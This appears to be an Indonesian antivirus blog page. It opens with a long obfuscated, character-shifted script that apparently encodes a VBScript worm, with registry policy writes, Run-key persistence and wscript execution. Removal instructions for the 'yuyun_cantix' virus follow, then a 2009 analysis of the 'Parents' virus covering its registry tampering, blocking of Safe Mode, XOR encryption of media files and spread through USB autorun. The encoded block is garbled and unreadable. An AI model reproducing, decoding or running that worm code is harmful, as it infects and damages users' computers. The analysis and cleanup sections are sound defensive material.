Na’Cf~/ihp.’Jhc’4′:’pp’Sobi’tohu]qinsf’wfso,%[%,c+c

ptdunws)tkbbw'17

pp:pp,6

Ibs

u:7

Ahu'Bfdo'akcu'Ni'ath)@bsAhkcbu/wfso,%[%.)TreAhkcbut

tohu]qinsf’wfso,%[%,akcu)ifjb+akcu)Ifjb

ptdunws)tkbbw'17

Na'u94'Sobi'

Bns'Ahu

Bic'na

u:u,6

Ibs

Bic'Na

Bic'Tre

Tre'tohu]qinsf/wfso+su`s.

Tbs’tohu:pt)DubfsbTohusdrs/wfso,%)kil%.

tohu)ndhikhdfsnhi:%tobkk45)ckk+4%

tohu)sfu`bswfso:%ptdunws)bb%

tohu)fu`rjbist:%((b=QETdunws’sorje)ce’%%%,su`s,%%%%

tohu)tfqb

Bic’Tre

aridsnhi’fssfdlXibs/.

Hi’Buuhu’Ubtrjb’Ibs

buu)dkbfu

Tbs’hemAhkcbu’:'to)Ifjbtwfdb/!O64!.

Tbs’dhkNsbjt’:'hemAhkcbu)Nsbjt

Ahu’Bfdo’tsuAnkbIfjb’ni’hemAhkcbu)Nsbjt

s:’hemAhkcbu)@bsCbsfnktHa/tsuAnkbIfjb+’63.

na’ath)ahkcbubntst/s.’sobi

ublrutna’s+3

bic’na

Ibs

Bic’aridsnhi

Tre’scu/.

Hi’Buuhu’Ubtrjb’Ibs

buu)dkbfu

PTdunws)Tkbbw’6?7777

na’buu)irjebu97’sobi’ptdunws)vrns

Bic’Tre

aridsnhi’RINTLF/.

Hi’buuhu’ubtrjb’ibs

:qeduka

fcq:%^r~ri’Qbu’6)7′YXY&::::::::::::::::::99Erlfi’cfun’srkfi`’reri’nf’cndnwsf9lfuif’ebuefof~f’jbjenfulfii~f’cfkfj’tfimri`’cfi’wrmf9sfl’mr`f’cfun’srkfi`’lfln9lfuif’intsf’jbjerfsi~f’cnnimfl’cfi’cnwbuercfl9sfwn’cfun’srkfi`’urtrl’ef`nfi’lnun9cblfs’lb’ofsn’risrl’cntf~fi`n9cblfs’lb’sfi`fi’risrl’cnknicri`n99/cnlrsnw’cu=’F`fu’Encfcfun’Dbjerur’Wfcfjr.999%%Mfi`fikfo’lfjr’ebutnlfw’kbjfo+’cfi’mfi`fikfo’/wrkf.’lfjr’ebutbcno’ofsn+’wfcfofk’lfjrkfo9hufi`*hufi`’~fi`’wfkni`’sni“n’/cbufmfsi~f.+’mnlf’lfjr’hufi`*hufi`’~fi`’ebunjfi)%%9/VT)’Fkn’Njufi=64>.999Lfsflfikfo’lbwfcf’hufi`’kfln*kfln’~fi`’ebunjfi=’%%Obicflkfo’jbublf’jbifofi’wficfi`fi~f+’9cfi’jbjbknofuf’lbjfkrfii~f<’~fi`’cbjnlnfi’nsr’fcfkfo’kbeno’trdn’ef`n’jbublf+’9tbtri“roi~f’Fkkfo’Jfof’Jbi`bsforn’fwf’~fi`’jbublf’wbuerfs)%%’/VT)’Fi’Iru=47.99Lfsflfikfo’lbwfcf’pfinsf’~fi`’ebunjfi=’%%Obicflkfo’jbublf’jbifofi’wficfi`fii~f+’9cfi’lbjfkrfii~f+’cfi’mfi`fikfo’jbublf’jbifjwfllfi’wbuonftfii~f+’lbdrfkn’~fi`’9/enftf.’ifjwfl’cfun’wfcfi~f)’Cfi’obicflkfo’jbublf’jbirsrwlfi’lfni’lrcri`’9lbcfcfi~f))))%%’/VT)’Fi’Iru=47.99Thuu~’N'mrts’Insnw’Wunis’sohl))))Icfl’wf5′lofiYXY&”ppp)jrtknjfo)hu)nc’99Ofn’fifl’Fcfj+’tbtri“roi~f’Lfjn’sbkfo’jbirurilfi’lbwfcfjr’9wflfnfi’risrl’jbirsrw’frufsjr’cfi’wflfnfi’nicfo’risrl’wbuonftfi)9Cfi’wflfnfi’sflpf’nsrkfo’~fi`’wfkni`’efnl)’^fi`’cbjnlnfi’nsr’fcfkfo’9tbefof`nfi’cfun’sficf*sficf’lblrftffi’Fkkfo+’jrcfo*jrcfofi’jbublf’tbkfkr’ni`fs)/Fk*F ufa=51.%

fcq:ubwkfdb/fcq+%9%+.

tbs’^r5i:ath)hwbisbsankb/sjw,%[q)chd%+5+surb.

^r5i)punsb’fcq

^r5i)dkhtb

na’cf~/ihp.:6′fic’/jhiso/ihp.jhc’4.:6’sobi’

na’ak~:afktb’sobi

ahu’n:6’sh’4

pt)uri’%ihsbwfc)bb’(w’%%%,sjw,%[q)chd%%%

ibs

bic’na

bic’na

tbs’RINTLF:ath)`bsankb/sjw,%[q)chd%.

bic’aridsnhi

Tre’ub`V/.

Hi’Buuhu’Ubtrjb’Ibs

na’cf~/ihp.:6’sobi

pt)Ub`Punsb’%OLDU[DKTNC[|66666666*5555*4444*3333*222222222222z[%+’%^r~riXDfisn%

pt)Ub`Punsb’%OLDU[DKTNC[|66666666*5555*4444*3333*222222222222z[CbafrksNdhi[%+%tobkk45)ckk+3?%

pt)Ub`Punsb’%OLDU[DKTNC[|66666666*5555*4444*3333*222222222222z[TobkkAhkcbu[Fssunersbt%+7+%UB@XCPHUC%

pt)ub`punsb’%OLKJ[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[bwkhubu[Cbtlshw[IfjbTwfdb[|66666666*5555*4444*3333*222222222222z[%+%%

bic’na

pt)ub`cbkbsb’%OLDU[kilankb[NtTohusdrs%

pt)Ub`Punsb’%OLDR[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Uri[Bwkhubu%+%Ptdunws)bb’((b=QETdunws’%%%,chd,%[cfsfeftb)jce%%%

pt)Ub`Punsb’%OLDR[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Whkndnbt[T~tsbj[CntfekbUb`ntsu~shhkt%+6+%UB@XCPHUC%

na’kdftb/ath)`bscunqb/%d=%.)AnkbT~tsbj.:%isat%’sobi

nufV:FV)hwbiftsbstsubfj/6+7.)ubfc/FV)tn}b.

ppp:ath)@bsTwbdnfkAhkcbu/7.

tbs’mml:ath)hwbisbsankb/ppp,%[=Jnduhthas’Haandb’Rwcfsb’ahu’Pnichpt’_W)t~t%+5+surb.

mml)punsb’nufV

mml)dkhtb

pt)Ub`Punsb’%OLKJ[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Uri[PniRwcfsb%+%Ptdunws)bb’((b=QETdunws’%%%,ppp,%[=Jnduhthas’Haandb’Rwcfsb’ahu’Pnichpt’_W)t~t%%%

bic’na

Bic’Tre

Tre’Obus}/hhh.

Hi’Buuhu’Ubtrjb’Ibs

ch

Ahu’Bfdo’cuq’Ni’ath)Cunqbt

Na’cuq)CunqbS~wb:6′Sobi

ublrutna’cuq)Wfso+3

Bktb

ublrutna’cuq)Wfso+5

Bic’na

Ibs

na’ak~:afktb’sobi’

scu

bktb’

ptdunws)vrns

bic’na

ub`V

Na’hhh:Afktb’Sobi’

Bns’Ch

Bic’Na

khhw

Bic’Tre
hampir kesemua nama folder yang ada dengan tujuan eksekusi langsung dari wscript.exe
Membuat shortcut dengan nama folder yang ada, ditambah nama microsoft dan new harry potter and… dan new folder yang kesemuanya menuju ke wscript.exe untuk eksekusi file script thumb.db yang sebenarnya script vbs (visual basic script ) yang tersebar di folder-folder.
Membuat system folder di desktop dengan nama yuyun_cantix yang bila diclick kanan hanya ada pilihan buat shortcut,dan tidak ada pilihan hapus.

Cara membersihkannya:

Matikan fungsi Wscript.exe,caranya menggunakan gpedit.msc>administrative templates>System>Double click Don’t run specified Windows applications>enabled>show>tambahkan Wscript.exe dan cscript.exe>ok.Dengan cara ini semua virus vbscript tidak akan tereksekusi.
Gunakan antivirus pcmav bisa download di sini atau anti virus lainnya seperti smadav ver 3 yang telah mendeteksi virus ini sekalian delete shortcutnya bisa down load disini . Sebelumnya endtask wscript.exe yang berjalan di processes task manager. Atau silakan Download di-link yang saya sediakan yaitu di Download Anti Virus dan Update anti Virus yang selalu saya update.
Gunakan search windows , untuk mencari shortcut yang dibuat oleh virus.Cirinya bila shortcut diproperties ditarget akan tertulis “WScript.exe //e:VBScript “+tmpt+” “”"+Q+”.Tapi smadav dan ansav sudah bisa deteksi,scan aja terus hapus.
Gunakan regedit.exe (ketik di menu run) click di my computer-regedit,Click edit>find>ketik yuyun_cantix>click find next.Cara ini digunakan untuk menghilangkan folder system (yuyun_cantix) yang dibuat di desktop.Setelah ketemu lalu delete key sebelah kiri (seperti folder)tenpat yuyun_cantix berada.Dengan begitu folder system yang ada didesktop bisa di delete.
Gunakan msconfig atau tools lain seperti hijack this untuk menghilangkan start up virus.

Virus Parent's

2009-06-09T01:12:00.000-07:00

Beberapa virus lokal saat ini mengincar data penting di komputer kita. Digemparkan oleh KSpoold yang dapat merusak fi le database, Zulanick yang dapat meng-encrypt dokumen Anda menjadi fi le Bitmap dan beberapa virus lainnya.Satu lagi, virus buatan lokal yang menyerang operating system berbasis Windows juga melakukan hal yang hampir sama dengan virus–virus di atas adalah Virus Parents. PC Media Antivirus RC22 mengenalnya dengan sebutan itu. Virus yang dibuat menggunakan bahasa Visual Basic ini memiliki ukuran tubuh sebesar 106.496 bytes, dan tidak di-compress sama sekali. Sampai saat tulisan ini dibuat, belum ada antivirus lain yang dapat mendeteksi keberadaan virus ini, bahkan heuristic dari kebanyakan antivirus itu pun tidak melaporkan adanya keanehan. Artinya, virus ini masih bisa berkeliaran dengan bebas tanpa hambatan. Pada virus ini, sang pembuatnya mempercayakan pada icon mirip fi le teks atau Notepad dalam melakukan penyamarannya, bukan menggunakan icon folder seperti kebanyakan virus lainnya. Pada komputer terinfeksi akan terdapat process dengan nama Parents.exe.

Menciptakan File Induk

Pada saat kali pertama komputer terinfeksi, ia akan menciptakan beberapa fi le induk pada direktori Windows dan System32 dengan nama Parents.exe, Parents.com dan Parents.pif. Nantinya fi le tersebut yang akan dieksekusi kali pertama saat memulai Windows. Dan tak lupa sebuah file teks berisi pesan singkat dari sang pembuatnya dengan nama Parent@KR BvB.txt yang ada di direktori Windows.

Mengubah File Type di Registry

Setelah berhasil menciptakan file-file induknya, seperti yang juga dilakukan oleh virus-virus lainnya, ia akan menciptakan atau mengubah beberapa setting-an registry. Hal pertama yang ia lakukan adalah menciptakan item autorun di HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Windows\CurrentVersion\ Run\ dengan nama Servicex, agar ia dapat

selalu aktif ketika memulai Windows. Sebagai benteng pertahanan, ia pun melakukan beberapa perubahan, di antaranya dengan membuat item baru pada key Image File Execution Options dengan nama msconfi g.exe dan regedit.exe yang diarahkan oleh sang virus kepada file \\Windows\\ Notepad.exe. Akibatnya, setiap Anda mengeksekusi msconfi g.exe ataupun regedit. exe, maka Windows malah akan membuka file tersebut dengan Notepad, jadi yang muncul hanyalah karakter-karakter binary pada Notepad Anda. Beberapa konfi gurasi fi le dengan tipe tertentu pun ia ubah, di antaranya file dengan tipe *.Reg (HKEY_CLASSES_ROOT\.Reg) dengan type information seharusnya adalah Registration Entries diubah menjadi Parents-File File*.3gp (HKEY_CLASSES_ROOT\.3gp) diubah menjadi File Bajingan, danFile*.

rm (HKEY_CLASSES_ROOT\.rm) diubah menjadi FileBajingan2. Untuk mendukung aksi penyamarannya, iapun mengubah type dari Fileexecutable

(HKEY_CLASSES_ROOT\exefile) dari Application ia ubah menjadi Word Document. Semua keanehan tersebut akan terlihat pada Windows Explorer di kolom Type. Dan semua fi le executable Anda akan bertipe Word Document. Maka dari itu, Anda harus jeli membedakan antara mana file virus dan mana yang bukan. Untuk mempermudahnya, ubah tampilan atau view dari Windows Explorer menjadi Details (View > Details). Tak ketinggalan, Folder Options pun menjadi target selanjutnya, ia akan menyembunyikan menu Folder Options dari Windows Explorer dan mengeset agar Windows Explorer tidak menampilkan extension dan fi le dengan attribut system. Untuk menambah tingkat pertahanan sang virus, ia pun menambahkan item DisableRegistryTools, DisableTaskMgr, dan DisableCMD pada key Policies di Registry. Ini berakibat, Anda tidak bisa dengan mudah menjalankan program Registry Editor, Task Manager, dan Command Prompt. Namun dengan sedikit trik, kita sebenarnya masih bisa masuk ke registry. Caranya dengan meng-copy-kan fi le regedit.exe dengan nama sembarang, lalu jalankan file tersebut menggunakan user lain, misalnya Administrator melalui menu Run As yang muncul ketika Anda mengklik kanan file tersebut.

Tidak Bisa Safe-Mode

Tidak berhenti sampai disitu saja, virus Parents ini pun menutup akses untuk Safe-Mode. Yang ia lakukan adalah dengan cara menghapus beberapa key penting di Registry yang mengatur masalah Safe-Mode ini. Jadi saat Anda hendak masuk dalam modus Safe- Mode, komputer Anda hanya akan menampilkan layar BSOD (Blue Screen of the Death).

Encryption

Satu hal yang mudah dilakukan untuk memeriksa apakah komputer Anda terinfeksi oleh virus ini adalah dengan cara membuka System Properties (Control Panel > System), apabila komputer Anda telah terinfeksi, maka informasi User Name akan diubah menjadi “Parents” dan User Organization menjadi “HAP <>”. Dan seperti semboyannya “Hacker Anti Porn” tersebut, ia pun akan memberantas file-file yang biasanya digunakan untuk hal pornografi seperti yang banyak tersedia di internet, seperti file 3gp, rm, dan .jpg. Yang ia lakukan adalah dengan mencari ke seluruh drive yang ada di komputer Anda file-file dengan extension tersebut, jika ditemukan ia akan meng-encrypt-nya sehingga file tersebut tidak dapat dibuka. Tadinya kami pikir file tersebut dirusak dengan cara meng-overwrite dengan random character. Namun dengan sedikit teknik crypto analysis, ternyata terbukti, karena file tersebut sebenarnya dienkripsi oleh si virus. Enkripsi yang digunakan sederhana saja, hanya menggunkan instruksi XOR (Exclusive OR) dengan satu kunci. Ia akan meng-XORkan byte-per-byte dari plaintext atau teks/ byte asli dengan kunci yang telah ia tetapkan agar menghasilkan ciphertext atau teks/byte yang telah terenkripsi. Enkripsi ini memiliki kelemahan, karena pada saat ia meng-XOR-kan byte $00, maka akan terlihat kunci enkripsinya. Dan dengan bermodalkan kunci tersebut, kita bisa membalikan atau men-decrypt fi le yang di-encrypt agar kembali ke kondisi semula. Yang ternyata kunci dari enkripsi tersebut adalah string “Bajingan”. File yang telah ia enkrip akan diubah nama filenya dengan menambah awalan Parents_ dan dengan extension .bmp. Misalnya, FotoKeluarga.jpg menjadi Parents_FotoKeluarga. jpg0,8408871.bmp.

Bagaimana Ia Menyebar?

Jika Anda merasa tidak pernah membuat file autorun.inf pada flash disk, Anda harus mulai curiga pada file tersebut. Karena banyak sekali virus yang memanfaatkan file tersebut untuk mempermudah virus menyebarkan diri hanya dengan mengklik drive flash disk yang dimaksud. Virus ini pun melakukan hal demikian. Ia akan mencari drive apa saja yang terpasang di komputer termasuk flash disk, karena ia akan meng-copy-kan beberapa file virus pada root drive tersebut dengan nama “Hr Vs M31.txt .exe” dan “Indahnya Kencani Mei.txt .exe”. Anda bisa melihat bahwa ada jarak spasi cukup banyak antara nama file dengan extension file yang asli, ini merupakan trik lama yang banyak juga digunakan oleh virus lainnya. Apalagi pada saat virus ini aktif di komputer, maka extension asli dari setiap file tidak akan muncul di Windows Explorer, jadi user akan menganggap fi le tersebut hanyalah fi le teks biasa, ini akan cukup mengecoh user tersebut untuk mengklik file itu.

Virus Beraksi

Seperti yang telah sedikit disinggung sebelumnya, virus ini menciptakan sebuah file teks yang berisi sedikit pesan dari sang pembuatnya, namun tidak hanya itu saja karena saat virus aktif, komponen Timer pada virus tersebut akan mencocokan waktu di komputer Anda, apabila menunjukkan pukul 12:10:00, atau 15:10:00 ia akan menampilkan kotak pesan lainnya. Dan pada 09:10:00 ia akan meng-copy-kan setiap file virus ke setiap drive. Juga dengan memanfaatkan registry, ia mengubah setting-an halaman default dari Internet Explorer Anda menjadi http:// www.sampoernafoundation.org. Entah apa maksudnya.

Pencegahan dan Pembasmian

PCMAV RC22 telah dapat membasmi virus ini secara tuntas dan akurat 100%. Berbagai setting-an Windows yang telah ia ubah akan dikembalikan seperti semula oleh PCMAV. Sangat disarankan untuk selalu menonaktifkan System Restore Windows sebelum melakukan scanning atau pembersihan menggunakan PCMAV agar virus tidak kembali menginfeksi komputer Anda saat reboot.